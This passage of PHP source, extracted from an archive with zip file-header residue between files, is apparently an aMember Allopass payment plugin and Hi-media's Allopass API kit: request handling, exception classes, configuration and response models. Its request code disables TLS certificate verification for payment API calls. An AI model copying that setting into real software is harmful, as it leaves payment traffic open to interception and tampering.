$configurationEmailAccount variable $Transaction = $Allopas->getTransaction($this->getUniqId()); $status = $Transaction->getStatus(); */ /**/ ksort($params); $hash = $this->getHash($params); $params['api_sig'] = $hash; $request = new Am_Paysystem_Allopass_Request(Am_Paysystem_Allopass::RESPONSE_FORMAT, Am_Paysystem_Allopass::API_HASH_FUNCTION, $this->getPlugin()->getConfig('api_secret_key')); $request->makeRequest(self::API_BASE_URL . '/transaction', http_build_query($params, '', '&')); $status = $request->getResponse()->status; /**/ return ($status == '0'); } public function getInvoice() { return $this->invoice; } } class Am_Paysystem_Allopass_Request { protected $api_secret_key; protected $responseFormat = 'xml'; protected $hashFunction = 'sha1'; public $httpStatusCode; public $code; public $message; protected $responseHeaders = array(); protected $responseBody; function __construct($responseFormat, $hashFunction, $api_secret_key) { if ($responseFormat) $this->responseFormat = $responseFormat; if ($hashFunction) $this->hashFunction = $hashFunction; $this->api_secret_key = $api_secret_key; } public function makeRequest($url, $post='') { $sock = curl_init(); $headers = array(); if ($this->responseFormat == 'json') $headers[] = 'Content-type: application/json'; elseif ($this->responseFormat == 'xml') $headers[] = 'Content-type: text/xml'; /* curl_setopt_array($sock, array( CURLOPT_HEADER => true, CURLOPT_RETURNTRANSFER => true, CURLOPT_FOLLOWLOCATION => false, CURLOPT_CONNECTTIMEOUT => 10, CURLOPT_LOW_SPEED_TIME => 10, CURLOPT_TIMEOUT => 10, CURLOPT_POST => true, CURLOPT_POSTFIELDS => $post )); */ curl_setopt($sock, CURLOPT_TIMEOUT, 30); curl_setopt($sock, CURLOPT_PORT, 80); curl_setopt($sock, CURLOPT_HEADER, true); curl_setopt($sock, CURLOPT_USERAGENT, 'Allopass-ApiKit-PHP5'); curl_setopt($sock, CURLOPT_RETURNTRANSFER, true); curl_setopt($sock, CURLOPT_SSL_VERIFYPEER, false); curl_setopt($sock, CURLOPT_SSL_VERIFYHOST, false); curl_setopt($sock, CURLOPT_POST, true); curl_setopt($sock, CURLOPT_POSTFIELDS, $post); // if (count($headers) > 0) // curl_setopt($sock, CURLOPT_HTTPHEADER, $headers); curl_setopt($sock, CURLOPT_URL, $url); $response = curl_exec($sock); if (0 < ($curlErrno = curl_errno($sock))) { //trigger_error("CURL Error ($curlErrno): " . curl_error($sock), E_USER_NOTICE); throw new Am_Exception_Paysystem("CURL Error ($curlErrno): " . curl_error($sock)); } $this->httpStatusCode = curl_getinfo($sock, CURLINFO_HTTP_CODE); $httpHeaderSize = curl_getinfo($sock, CURLINFO_HEADER_SIZE); curl_close($sock); $rawHeaders = substr($response, 0, $httpHeaderSize - 4); $this->responseBody = substr($response, $httpHeaderSize); if (preg_match('/code="(\d+)" message="(.*)"/', $response, $matches)){ $this->code = $matches[1]; $this->message = $matches[2]; } foreach (explode("\r\n", $rawHeaders) as $header) { if (strpos($header, ":") > 0) { list($name, $value) = explode(':', $header); $name = trim($name); if ($name) $this->responseHeaders[$name] = trim($value); } } } public function isResponseValidated() { if (isset($this->responseHeaders['X-Allopass-Response-Signature'])) { $returnedResponseSignature = $this->responseHeaders['X-Allopass-Response-Signature']; $computedResponseSignature = hash($this->hashFunction, $this->responseBody . $this->api_secret_key); $responseValidated = (trim($returnedResponseSignature) == trim($computedResponseSignature)); } else { $responseValidated = false; } return $responseValidated; } public function getResponse() { //if ($this->responseFormat == 'json') if (strpos($this->responseBody, '"response": {') > 0) $response = json_decode($this->responseBody); //if ($this->responseFormat == 'xml') > 0) { if (strpos($this->responseBody, 'response xmlns') > 0) $response = simplexml_load_string($this->responseBody); if (!$response) $response = $this->responseBody; return $response; } } /* 123456 {"response": { "@attributes": { "code": "0", "message": "OK" }, "id": "123456", "name": "PRODUCT NAME", "purchase_url": "http:\/\/localhost\/purchase", "forward_url": " http:\/\/localhost\/product" } */ /* Response: creation_date Date of server reply (GMT) 2009-08-30T12:04:21+00:00 button_id Temporary button ID issued by Allopass 12345678-1234-1234-1234-123456789012 reference_currency Base currency (euro is default) USD website Customer website information – site name, forwarding URL, Allopass ID, category, audience restrictions 123456 buy_url Secure button link provided by allopass payment.allopass.com URL with associated btnid checkout_button Code to create a modal window for merchant use payment allopass.com URL with associated btnid and carousel avascript code carousel presentation */ PK\V##:payment/allopass/apikit/exception/AllopassApiException.phpnu[ * * @date 2009 (c) Hi-media */ abstract class AllopassApiException extends Exception { /** * Constructor * * @param message (string) Exception description * @param code (integer) Exception code */ public function __construct($message, $code) { parent::__construct($message, $code); } }PK\- +-  Ppayment/allopass/apikit/exception/AllopassApiConfFileMissingSectionException.phpnu[ * * @date 2009 (c) Hi-media */ class AllopassApiConfFileMissingSectionException extends AllopassApiException { /** * Exception code */ const CODE = 12; /** * Exception definition */ const MESSAGE = 'A required section cannot be found in the configuration file'; /** * Constructor */ public function __construct() { parent::__construct(self::MESSAGE, self::CODE); } }PK\X>Lpayment/allopass/apikit/exception/AllopassApiMissingHashFeatureException.phpnu[ * * @date 2009 (c) Hi-media */ class AllopassApiMissingHashFeatureException extends AllopassApiException { /** * Exception code */ const CODE = 8; /** * Exception definition */ const MESSAGE = 'Your local PHP system doesn\'t support the configurated hash cipher (SHA1)'; /** * Constructor */ public function __construct() { parent::__construct(self::MESSAGE, self::CODE); } }PK\tyfNpayment/allopass/apikit/exception/AllopassApiUnavailableRessourceException.phpnu[ * * @date 2009 (c) Hi-media */ class AllopassApiUnavailableRessourceException extends AllopassApiException { /** * Exception code */ const CODE = 1; /** * Exception definition */ const MESSAGE = 'The API you are requesting is currently unavailable'; /** * Constructor */ public function __construct() { parent::__construct(self::MESSAGE, self::CODE); } }PK\ieKpayment/allopass/apikit/exception/AllopassApiConfFileCorruptedException.phpnu[ * * @date 2009 (c) Hi-media */ class AllopassApiConfFileCorruptedException extends AllopassApiException { /** * Exception code */ const CODE = 6; /** * Exception definition */ const MESSAGE = 'Configuration file is corrupted or bad formatted'; /** * Constructor */ public function __construct() { parent::__construct(self::MESSAGE, self::CODE); } }PK\? Mpayment/allopass/apikit/exception/AllopassApiWrongFormatResponseException.phpnu[ * * @date 2009 (c) Hi-media */ class AllopassApiWrongFormatResponseException extends AllopassApiException { /** * Exception code */ const CODE = 3; /** * Exception definition */ const MESSAGE = 'The response contains invalid data'; /** * Constructor */ public function __construct() { parent::__construct(self::MESSAGE, self::CODE); } }PK\=xOpayment/allopass/apikit/exception/AllopassApiMissingNetworkFeatureException.phpnu[ * * @date 2009 (c) Hi-media */ class AllopassApiMissingNetworkFeatureException extends AllopassApiException { /** * Exception code */ const CODE = 9; /** * Exception definition */ const MESSAGE = 'Your local PHP system supports neither cURL nor fsockopen'; /** * Constructor */ public function __construct() { parent::__construct(self::MESSAGE, self::CODE); } }PK\Ipayment/allopass/apikit/exception/AllopassApiConfFileMissingException.phpnu[ * * @date 2009 (c) Hi-media */ class AllopassApiConfFileMissingException extends AllopassApiException { /** * Exception code */ const CODE = 5; /** * Exception definition */ const MESSAGE = 'Configuration file is missing'; /** * Constructor */ public function __construct() { parent::__construct(self::MESSAGE, self::CODE); } }PK\Kpayment/allopass/apikit/exception/AllopassApiMissingXMLFeatureException.phpnu[ * * @date 2009 (c) Hi-media */ class AllopassApiMissingXMLFeatureException extends AllopassApiException { /** * Exception code */ const CODE = 7; /** * Exception definition */ const MESSAGE = 'Your local PHP system doesn\'t support needed SimpleXML library'; /** * Constructor */ public function __construct() { parent::__construct(self::MESSAGE, self::CODE); } }PK\kEpayment/allopass/apikit/exception/AllopassApiRemoteErrorException.phpnu[ * * @date 2009 (c) Hi-media */ class AllopassApiRemoteErrorException extends AllopassApiException { /** * Exception code */ const CODE = 4; /** * Exception definition */ const MESSAGE = 'The response indicates that an error occured when processing the request'; /** * Remote exception code */ protected $_remoteCode; /** * Remote exception definition */ protected $_remoteMessage; /** * Constructor */ public function __construct($code, $message) { parent::__construct(self::MESSAGE, self::CODE); $this->_remoteCode = $code; $this->_remoteMessage = $message; } /** * Method retrieving the remote exception code * * @return (integer) The remote exception code */ public function getRemoteCode() { return $this->_remoteCode; } /** * Method retrieving the remote exception message * * @return (string) The remote exception message */ public function getRemoteMessage() { return $this->_remoteMessage; } /** * Overload of parent __toString magic method * * @return (string) Exception string representation containing local and remote exceptions definitions */ public function __toString() { return "Remote exception with code '{$this->_remoteCode}' and message '{$this->_remoteMessage}'\n\n" . parent::__toString(); } }PK\vSpayment/allopass/apikit/exception/AllopassApiMissingCompressionFeatureException.phpnu[ * * @date 2009 (c) Hi-media */ class AllopassApiMissingCompressionFeatureException extends AllopassApiException { /** * Exception code */ const CODE = 10; /** * Exception definition */ const MESSAGE = 'Your local PHP system doesn\'t support required compression library'; /** * Constructor */ public function __construct() { parent::__construct(self::MESSAGE, self::CODE); } }PK\* )Ppayment/allopass/apikit/exception/AllopassApiFalseResponseSignatureException.phpnu[ * * @date 2009 (c) Hi-media */ class AllopassApiFalseResponseSignatureException extends AllopassApiException { /** * Exception code */ const CODE = 2; /** * Exception definition */ const MESSAGE = 'The signature of the response is false, possible hack attempt'; /** * Constructor */ public function __construct() { parent::__construct(self::MESSAGE, self::CODE); } }PK\Mpayment/allopass/apikit/exception/AllopassApiConfAccountNotFoundException.phpnu[ * * @date 2009 (c) Hi-media */ class AllopassApiConfAccountNotFoundException extends AllopassApiException { /** * Exception code */ const CODE = 11; /** * Exception definition */ const MESSAGE = 'You provided an account (its email) which doesn\'t exist in configuration file'; /** * Constructor */ public function __construct() { parent::__construct(self::MESSAGE, self::CODE); } }PK\;Ģ%payment/allopass/apikit/conf/conf.xmlnu[ sha1 xml 30 http 80 api.allopass.com PK\ѱE E 2payment/allopass/apikit/tools/AllopassApiTools.phpnu[ * * @date 2009 (c) Hi-media */ class AllopassApiTools { /** * Checks if a string begins with another one * * @param haystack (string) The containing string * @param needle (string) The expected contained string * * @return (boolean) If the containing string begins with the contained string */ public static function beginsWith($haystack, $needle) { $haystack = strtolower($haystack); $needle = strtolower($needle); return (substr($haystack, 0, strlen($needle)) == $needle); } /** * Checks if a string ends with another one * * @param haystack (string) The containing string * @param needle (string) The expected contained string * * @return (boolean) If the containing string ends with the contained string */ public static function endsWith($haystack, $needle) { $haystack = strtolower($haystack); $needle = strtolower($needle); return (substr($haystack, -strlen($needle)) == $needle); } /** * Checks if SimpleXML library is available * * @throws AllopassApiMissingXMLFeatureException If SimpleXML API isn't loaded/supported */ private static function _checkXmlParser() { if (!function_exists('simplexml_load_string') || !class_exists('SimpleXMLElement')) { throw new AllopassApiMissingXMLFeatureException(); } } /** * Load an XML string into a mapping object * * @param string (string) The XML string to be parsed * * @return (SimpleXMLElement) The mapping object */ public static function xmlParseString($string) { self::_checkXmlParser(); return @simplexml_load_string($string); } /** * Load an XML file into a mapping object * * @param path (string) The XML file path * * @return (SimpleXMLElement) The mapping object */ public static function xmlParseFile($path) { self::_checkXmlParser(); return @simplexml_load_file($path); } }PK\{1payment/allopass/apikit/model/AllopassKeyword.phpnu[ * * @date 2009 (c) Hi-media */ class AllopassKeyword { /** * (SimpleXMLElement) SimpleXML object representation of the item */ private $_xml; /** * Constructor * * @param xml (SimpleXMLElement) The SimpleXML object representation of the item */ public function __construct(SimpleXMLElement $xml) { $this->_xml = $xml; } /** * Method retrieving the keyword name * * @return (string) The keyword name */ public function getName() { return (string) $this->_xml->attributes()->name; } /** * Method retrieving the keyword shortcode * * @return (string) The keyword shortcode */ public function getShortcode() { return (string) $this->_xml->attributes()->shortcode; } /** * Method retrieving the keyword operators * * @return (string) The keyword operators */ public function getOperators() { return (string) $this->_xml->attributes()->operators; } /** * Method retrieving the keyword number billed messages * * @return (integer) The keyword number billed messages */ public function getNumberBilledMessages() { return (integer) $this->_xml->attributes()->number_billed_messages; } /** * Method retrieving the phone number description * * @return (string) The phone number description */ public function getDescription() { return (string) $this->_xml->description; } }PK\e4payment/allopass/apikit/model/AllopassPricepoint.phpnu[ * * @date 2009 (c) Hi-media */ class AllopassPricepoint { /** * (SimpleXMLElement) SimpleXML object representation of the item */ private $_xml; /** * Constructor * * @param xml (SimpleXMLElement) The SimpleXML object representation of the item */ public function __construct(SimpleXMLElement $xml) { $this->_xml = $xml; } /** * Method retrieving the pricepoint id * * @return (integer) The pricepoint id */ public function getId() { return (integer) $this->_xml->attributes()->id; } /** * Method retrieving the pricepoint type * * @return (string) The pricepoint type */ public function getType() { return (string) $this->_xml->attributes()->type; } /** * Method retrieving the pricepoint category * * @return (string) The pricepoint category */ public function getCategory() { return (string) $this->_xml->attributes()->category; } /** * Method retrieving the pricepoint country code * * @return (string) The pricepoint country code */ public function getCountryCode() { return (string) $this->_xml->attributes()->country_code; } /** * Method retrieving the pricepoint's price * * @return (AllopassPrice) The pricepoint's price */ public function getPrice() { $object = $this->_xml->price; return (empty($object)) ? null : new AllopassPrice($object); } /** * Method retrieving the pricepoint's payout * * @return (AllopassPrice) The pricepoint's payout */ public function getPayout() { $object = $this->_xml->payout; return (empty($object)) ? null : new AllopassPayout($object); } /** * Method retrieving the pricepoint buy url * * @return (string) The pricepoint buy url */ public function getBuyUrl() { return (string) $this->_xml->buy_url; } /** * Method retrieving the pricepoint's phone numbers * * @return (AllopassPhoneNumber[]) The pricepoint's phone numbers */ public function getPhoneNumbers() { $phoneNumbers = array(); $object = $this->_xml->phone_numbers; if (empty($object)) { return $phoneNumbers; } foreach ($object->children() as $child) { $phoneNumbers[] = new AllopassPhoneNumber($child); } return $phoneNumbers; } /** * Method retrieving the pricepoint's keywords * * @return (AllopassKeyword[]) The pricepoint's keywords */ public function getKeywords() { $keywords = array(); $object = $this->_xml->keywords; if (empty($object)) { return $keywords; } foreach ($object->children() as $child) { $keywords[] = new AllopassKeyword($child); } return $keywords; } /** * Method retrieving the pricepoint description * * @return (string) The pricepoint description */ public function getDescription() { return (string) $this->_xml->description; } }PK\)S:payment/allopass/apikit/model/AllopassApiPlainResponse.phpnu[ * * @date 2009 (c) Hi-media */ class AllopassApiPlainResponse extends AllopassApiResponse { /** * Constructor * * @param signature (string) Expected response signature * @param headers (string) HTTP headers of the response * @param body (string) Raw data of the response */ public function __construct($signature, $headers, $body) { parent::__construct($signature, $headers, $body); } }PK\LfQQ1payment/allopass/apikit/model/AllopassApiConf.phpnu[ * * @date 2009 (c) Hi-media */ class AllopassApiConf { /** * Relative path of the configuration file */ const FILE_PATH = '../conf/conf.xml'; /** * (ApiConf) Static instance of the class */ private static $_instance = null; /** * (SimpleXMLElement) SimpleXML object representation of the configuration file */ private $_xml; /** * Constructor */ private function __construct() { // commented by aMember //$this->_loadFile(); //$this->_checkFile(); } /** * Internal method processing configuration file loading * * @throws AllopassApiConfFileMissingException If local API configuration file doesn't exist * * @throws AllopassApiConfFileCorruptedException If local API configuration file doensn't contain valid XML */ private function _loadFile() { $path = dirname(__FILE__) . '/' . self::FILE_PATH; if (!file_exists($path)) { throw new AllopassApiConfFileMissingException(); } $this->_xml = AllopassApiTools::xmlParseFile($path); if (!is_object($this->_xml)) { throw new AllopassApiConfFileCorruptedException(); } } /** * Internal method processing configuration file checking * * @throws AllopassApiConfFileMissingSectionException If local API configuration file doesn't contain every required sections */ private function _checkFile() { static $sections = array('accounts', 'default_hash', 'default_format', 'network_timeout', 'network_protocol', 'network_port', 'host'); $fileSections = array(); foreach ($this->_xml as $section) { $fileSections[] = $section->getName(); } foreach ($sections as &$section) { if (!in_array($section, $fileSections)) { throw new AllopassApiConfFileMissingSectionException(); } } } /** * Method retrieving the API key * * @param email (string) The mail account from which retrieve the API key * If email isn't provided or null, the first account is considered * * @return (string) The public API key */ public function getApiKey($email = null) { return (string) $this->_retrieveAccount($email)->keys->api_key; } /** * Method retrieving the private key * * @param email (string) The mail account from which retrieve the private key * If email isn't provided or null, the first account is considered * * @return (string) The private API key */ public function getPrivateKey($email = null) { return (string) $this->_retrieveAccount($email)->keys->private_key; } /** * Internal method retrieving an account from its email * * @param email (string) The mail account from which retrieve the account * If email is null, the first account is considered * * @return (SimpleXMLElement) The SimpleXML representation of the account * * @throws AllopassApiConfAccountNotFoundException If an email is provided but can't be found */ private function _retrieveAccount($email) { // aMember code // use $email variable to pass XML $this->_xml = AllopassApiTools::xmlParseString($email); if (!is_object($this->_xml)) { throw new AllopassApiConfFileCorruptedException(); } $this->_checkFile(); $email = null; // clear variable to make following code work correct ///// $accounts = $this->_xml->accounts->children(); if ($email === null) { return $accounts[0]; } else { foreach ($accounts as $account) { if ($account->attributes()->email == $email) { return $account; } } throw new AllopassApiConfAccountNotFoundException(); } } /** * Method retrieving the default response format * * @return (string) The response format */ public function getDefaultFormat() { return (string) $this->_xml->default_format; } /** * Method retrieving the API hostname * * @return (string) The API hostname */ public function getHost() { return (string) $this->_xml->host; } /** * Method retrieving the default hash function name * * @return (string) The default hash function name */ public function getDefaultHash() { return (string) $this->_xml->default_hash; } /** * Method retrieving the network timeout delay * * @return (integer) The network timeout delay */ public function getNetworkTimeout() { return (integer) $this->_xml->network_timeout; } /** * Method retrieving the network protocol * * @return (string) The network protocol */ public function getNetworkProtocol() { return (string) $this->_xml->network_protocol; } /** * Method retrieving the network port * * @return (integer) The network port */ public function getNetworkPort() { return (integer) $this->_xml->network_port; } /** * Static method providing a single access-point to the class * * @return (AllopassApiConf) The class instance */ public static function getInstance() { if (self::$_instance === null) { self::$_instance = new self(); } return self::$_instance; } }PK\K(ͼ1payment/allopass/apikit/model/AllopassWebsite.phpnu[ * * @date 2009 (c) Hi-media */ class AllopassWebsite { /** * (SimpleXMLElement) SimpleXML object representation of the item */ private $_xml; /** * Constructor * * @param xml (SimpleXMLElement) The SimpleXML object representation of the item */ public function __construct(SimpleXMLElement $xml) { $this->_xml = $xml; } /** * Method retrieving the website id * * @return (integer) The website id */ public function getId() { return (integer) $this->_xml->attributes()->id; } /** * Method retrieving the website name * * @return (string) The website name */ public function getName() { return (string) $this->_xml->attributes()->name; } /** * Method retrieving the website url * * @return (string) The website url */ public function getUrl() { return (string) $this->_xml->attributes()->url; } /** * Method retrieving if the website's audience is restricted * * @return (boolean) If the website's audience is restricted */ public function isAudienceRestricted() { return ($this->_xml->attributes()->audience_restricted == 'true'); } /** * Method retrieving the website category * * @return (string) The website category */ public function getCategory() { return (string) $this->_xml->attributes()->category; } }PK\B(0payment/allopass/apikit/model/AllopassMarket.phpnu[ * * @date 2009 (c) Hi-media */ class AllopassMarket { /** * (SimpleXMLElement) SimpleXML object representation of the item */ private $_xml; /** * Constructor * * @param xml (SimpleXMLElement) The SimpleXML object representation of the item */ public function __construct(SimpleXMLElement $xml) { $this->_xml = $xml; } /** * Method retrieving the market country code * * @return (string) The market country code */ public function getCountryCode() { return (string) $this->_xml->attributes()->country_code; } /** * Method retrieving the market country * * @return (string) The market country */ public function getCountry() { return (string) $this->_xml->attributes()->country; } /** * Method retrieving the market pricepoints * * @return (AllopassPricepoint[]) The market pricepoints */ public function getPricepoints() { $pricepoints = array(); foreach ($this->_xml->children() as $child) { $pricepoints[] = new AllopassPricepoint($child); } return $pricepoints; } }PK\;u8/payment/allopass/apikit/model/AllopassPrice.phpnu[ * * @date 2009 (c) Hi-media */ class AllopassPrice { /** * (SimpleXMLElement) SimpleXML object representation of the item */ private $_xml; /** * Constructor * * @param xml (SimpleXMLElement) The SimpleXML object representation of the item */ public function __construct(SimpleXMLElement $xml) { $this->_xml = $xml; } /** * Method retrieving the price currency * * @return (string) The price currency */ public function getCurrency() { return (string) $this->_xml->attributes()->currency; } /** * Method retrieving the price amount * * @return (float) The price amount */ public function getAmount() { return (float) $this->_xml->attributes()->amount; } /** * Method retrieving the price exchange rate * * @return (double) The price exchange rate */ public function getExchange() { return (double) $this->_xml->attributes()->exchange; } /** * Method retrieving the price reference currency * * @return (string) The price reference currency */ public function getReferenceCurrency() { return (string) $this->_xml->attributes()->reference_currency; } /** * Method retrieving the price reference amount * * @return (float) The price reference amount */ public function getReferenceAmount() { return (float) $this->_xml->attributes()->reference_amount; } }PK\_mDpayment/allopass/apikit/model/AllopassSubscriptionDetailResponse.phpnu[ * * @date 2011 (c) Hi-media */ class AllopassSubscriptionDetailResponse extends AllopassApiMappingResponse { /** * The subscription is active */ const SUBSCRIPTION_ACTIVE = 0; /** * The subscription is not active */ const SUBSCRIPTION_NOT_ACTIVE = 1; /** * Constructor * * @param signature (string) Expected response signature * @param headers (string) HTTP headers of the response * @param body (string) Raw data of the response */ public function __construct($signature, $headers, $body) { parent::__construct($signature, $headers, $body); } /** * Method retrieving the subscription status * * @return (integer) The subscription status */ public function getStatus() { return (integer) $this->_xml->status; } /** * Method retrieving the subscription status description * * @return (string) The subscription status description */ public function getStatusDescription() { return (string) $this->_xml->status_description; } /** * Method retrieving the subscription access-type * * @return (string) The subscription access-type */ public function getAccessType() { return (string) $this->_xml->access_type; } /** * Method retrieving the subscriber reference * * @return (string) The subscriber reference */ public function getSubscriberReference() { return (string) $this->_xml->subscriber_reference; } /** * Method retrieving the merchant subscriber reference * * @return (string) merchant The subscriber reference */ public function getMerchantSubscriberReference() { return (string) $this->_xml->merchant_subscriber_reference; } /** * Method retrieving the merchant transaction id * * @return (string) The merchant transaction id */ public function getMerchantTransactionId() { return (string) $this->_xml->merchant_transaction_id; } /** * Method retrieving the transaction's website * * @return (AllopassWebsite) The transaction's website */ public function getWebsite() { return new AllopassWebsite($this->_xml->website); } /** * Method retrieving the subscription's product * * @return (AllopassProduct) The subscription's product */ public function getProduct() { return new AllopassProduct($this->_xml->product); } /** * Method retrieving the subscription's offer * * @return (AllopassOffer) The subscription's offer */ public function getOffer() { return new AllopassOffer($this->_xml->offer); } /** * Method retrieving the subscription customer country * * @return (string) The subscription customer country */ public function getCustomerCountry() { return (string) $this->_xml->customer_country; } /** * Method retrieving the subscription customer locale * * @return (string) The subscription customer locale */ public function getCustomerLocale() { return (string) $this->_xml->customer_locale; } /** * Method retrieving the subscription creation date * * @return (AllopassDate) The subscription creation date */ public function getSubscriptionDate() { return new AllopassDate($this->_xml->subscription_date); } /** * Method retrieving the subscription renewal date * * @return (AllopassDate) The subscription renewal date */ public function getRenewalDate() { return new AllopassDate($this->_xml->renewal_date); } /** * Method retrieving the subscription cancellation date * * @return (AllopassDate) The subscription cancellation date */ public function getCancellationDate() { return new AllopassDate($this->_xml->cancellation_date); } /** * Method retrieving the subscription periodicity * * @return (AllopassPeriodicity) The subscription periodicity */ public function getPeriodicity() { return new AllopassPeriodicity($this->_xml->frequency); } /** * Method retrieving the subscription pricepoint * * @return (AllopassPricepoint) The subscription pricepoint */ public function getPricepoint() { return new AllopassPricepoint($this->_xml->pricepoint); } /** * Method retrieving the subscription's price * * @return (AllopassPrice) The subscription's price */ public function getPrice() { return new AllopassPrice($this->_xml->price); } /** * Method retrieving the subscription's payout price * * @return (AllopassPrice) The subscription's payout price */ public function getPayout() { return new AllopassPrice($this->_xml->payout); } } PK\P4Cpayment/allopass/apikit/model/AllopassTransactionDetailResponse.phpnu[ * * @date 2009 (c) Hi-media */ class AllopassTransactionDetailResponse extends AllopassApiMappingResponse { /** * The transaction is at first step : initialization */ const TRANSACTION_INIT = -1; /** * The transaction is successful */ const TRANSACTION_SUCCESS = 0; /** * The transaction failed due to insufficient funds */ const TRANSACTION_INSUFFICIENT_FUNDS = 1; /** * The transaction timeouted */ const TRANSACTION_TIMEOUT = 2; /** * The transaction has been cancelled by user */ const TRANSACTION_CANCELLED = 3; /** * The transaction has been blocked due to fraud suspicions */ const TRANSACTION_ANTI_FRAUD = 4; /** * Constructor * * @param signature (string) Expected response signature * @param headers (string) HTTP headers of the response * @param body (string) Raw data of the response */ public function __construct($signature, $headers, $body) { parent::__construct($signature, $headers, $body); } /** * Method retrieving the transaction status * * @return (integer) The transaction status */ public function getStatus() { return (integer) $this->_xml->status; } /** * Method retrieving the transaction status description * * @return (string) The transaction status description */ public function getStatusDescription() { return (string) $this->_xml->status_description; } /** * Method retrieving the transaction access-type * * @return (string) The transaction access-type */ public function getAccessType() { return (string) $this->_xml->access_type; } /** * Method retrieving the transaction id * * @return (string) The transaction id */ public function getTransactionId() { return (string) $this->_xml->transaction_id; } /** * Method retrieving the transaction's price * * @return (AllopassPrice) The transaction's price */ public function getPrice() { return new AllopassPrice($this->_xml->price); } /** * Method retrieving the transaction's paid price * * @return (AllopassPrice) The transaction's paid price */ public function getPaid() { return new AllopassPrice($this->_xml->paid); } /** * Method retrieving the transaction creation date * * @return (AllopassDate) The transaction creation date */ public function getCreationDate() { return new AllopassDate($this->_xml->creation_date); } /** * Method retrieving the transaction end date * * @return (AllopassDate) The transaction end date */ public function getEndDate() { return new AllopassDate($this->_xml->end_date); } /** * Method retrieving the transaction product name * * @return (string) The transaction product name */ public function getProductName() { return (string) $this->_xml->product_name; } /** * Method retrieving the transaction's website * * @return (AllopassWebsite) The transaction's website */ public function getWebsite() { return new AllopassWebsite($this->_xml->website); } /** * Method retrieving the transaction customer ip * * @return (string) The transaction customer ip */ public function getCustomerIp() { return (string) $this->_xml->customer_ip; } /** * Method retrieving the transaction customer country * * @return (string) The transaction customer country */ public function getCustomerCountry() { return (string) $this->_xml->customer_country; } /** * Method retrieving the transaction expected number of codes * * @return (integer) The transaction expected number of codes */ public function getExpectedNumberOfCodes() { return (integer) $this->_xml->expected_number_of_codes; } /** * Method retrieving if the transaction is in direct access * * @return (boolean) If the transaction is in direct access */ public function isDirectAccess() { return ($this->_xml->direct_access == 'true'); } /** * Method retrieving the transaction codes * * @return (string[]) The transaction codes */ public function getCodes() { $codes = array(); foreach ($this->_xml->codes->children() as $child) { $codes[] = (string) $child; } return $codes; } /** * Method retrieving the transaction merchant transaction id * * @return (string) The transaction merchant transaction id */ public function getMerchantTransactionId() { return (string) $this->_xml->merchant_transaction_id; } /** * Method retrieving the transaction client data * * @return (string) The transaction client data */ public function getData() { return (string) $this->_xml->data; } /** * Method retrieving the transaction affiliate code * * @return (string) The transaction affiliate code */ public function getAffiliate() { return (string) $this->_xml->affiliate; } /** * Method retrieving the transaction partners * * @return (AllopassPartner[]) The transaction partners */ public function getPartners() { $partners = array(); foreach ($this->_xml->partners->children() as $child) { $partners[] = new AllopassPartner($child); } return $partners; } }PK\q\Epayment/allopass/apikit/model/AllopassOnetimeValidateCodesRequest.phpnu[ * * @date 2010 (c) Hi-media */ class AllopassOnetimeValidateCodesRequest extends AllopassApiRequest { /** * Route path of the API */ const PATH = 'onetime/validate-codes'; /** * Constructor * * @param parameters (array) Query string parameters of the API call * @param mapping (boolean) Should the response be an object mapping or a plain response * @param emailAccount (string) Email of the configurated account */ public function __construct(array $parameters, $mapping = true, $emailAccount = null) { parent::__construct($parameters, $mapping, $emailAccount); } /** * Provide a way to get the route of the request * * @return (string) The route of the request */ protected function _getPath() { return self::PATH; } /** * Overload of internal method which determinates that request has to be done using POST * * @return (boolean) The request has to be done using POST */ protected function _isHttpPost() { return true; } /** * Provide a way to get the wired response of the request * * @param signature (string) Expected response signature * @param headers (string) HTTP headers of the response * @param body (string) Raw data of the response * * @return (AllopassOnetimeValidateCodesResponse) A new response */ protected function _newResponse($signature, $headers, $body) { return new AllopassOnetimeValidateCodesResponse($signature, $headers, $body); } }PK\۫\>payment/allopass/apikit/model/AllopassOnetimeButtonRequest.phpnu[ * * @date 2010 (c) Hi-media */ class AllopassOnetimeButtonRequest extends AllopassApiRequest { /** * Route path of the API */ const PATH = 'onetime/button'; /** * Constructor * * @param parameters (array) Query string parameters of the API call * @param mapping (boolean) Should the response be an object mapping or a plain response * @param emailAccount (string) Email of the configurated account */ public function __construct(array $parameters, $mapping = true, $emailAccount = null) { parent::__construct($parameters, $mapping, $emailAccount); } /** * Provide a way to get the route of the request * * @return (string) The route of the request */ protected function _getPath() { return self::PATH; } /** * Overload of internal method which determinates that request has to be done using POST * * @return (boolean) The request has to be done using POST */ protected function _isHttpPost() { return true; } /** * Provide a way to get the wired response of the request * * @param signature (string) Expected response signature * @param headers (string) HTTP headers of the response * @param body (string) Raw data of the response * * @return (AllopassOnetimeButtonResponse) A new response */ protected function _newResponse($signature, $headers, $body) { return new AllopassOnetimeButtonResponse($signature, $headers, $body); } }PK\9Dpayment/allopass/apikit/model/AllopassTransactionMerchantRequest.phpnu[ * * @date 2010 (c) Hi-media */ class AllopassTransactionMerchantRequest extends AllopassApiRequest { /** * Route path of the API */ const PATH = 'transaction/merchant'; /** * Constructor * * @param parameters (array) Query string parameters of the API call * @param mapping (boolean) Should the response be an object mapping or a plain response * @param emailAccount (string) Email of the configurated account */ public function __construct(array $parameters, $mapping = true, $emailAccount = null) { parent::__construct($parameters, $mapping, $emailAccount); } /** * Provide a way to get the route of the request * * @return (string) The route of the request */ protected function _getPath() { return self::PATH; } /** * Provide a way to get the wired response of the request * * @param signature (string) Expected response signature * @param headers (string) HTTP headers of the response * @param body (string) Raw data of the response * * @return (AllopassTransactionDetailResponse) A new response */ protected function _newResponse($signature, $headers, $body) { return new AllopassTransactionDetailResponse($signature, $headers, $body); } }PK\eBpayment/allopass/apikit/model/AllopassTransactionDetailRequest.phpnu[ * * @date 2009 (c) Hi-media */ class AllopassTransactionDetailRequest extends AllopassApiRequest { /** * Route path of the API */ const PATH = 'transaction'; /** * Constructor * * @param parameters (array) Query string parameters of the API call * @param mapping (boolean) Should the response be an object mapping or a plain response * @param emailAccount (string) Email of the configurated account */ public function __construct(array $parameters, $mapping = true, $emailAccount = null) { parent::__construct($parameters, $mapping, $emailAccount); } /** * Provide a way to get the route of the request * * @return (string) The route of the request */ protected function _getPath() { return self::PATH; } /** * Provide a way to get the wired response of the request * * @param signature (string) Expected response signature * @param headers (string) HTTP headers of the response * @param body (string) Raw data of the response * * @return (AllopassTransactionDetailResponse) A new response */ protected function _newResponse($signature, $headers, $body) { return new AllopassTransactionDetailResponse($signature, $headers, $body); } }PK\.~I0payment/allopass/apikit/model/AllopassPayout.phpnu[ * * @date 2009 (c) 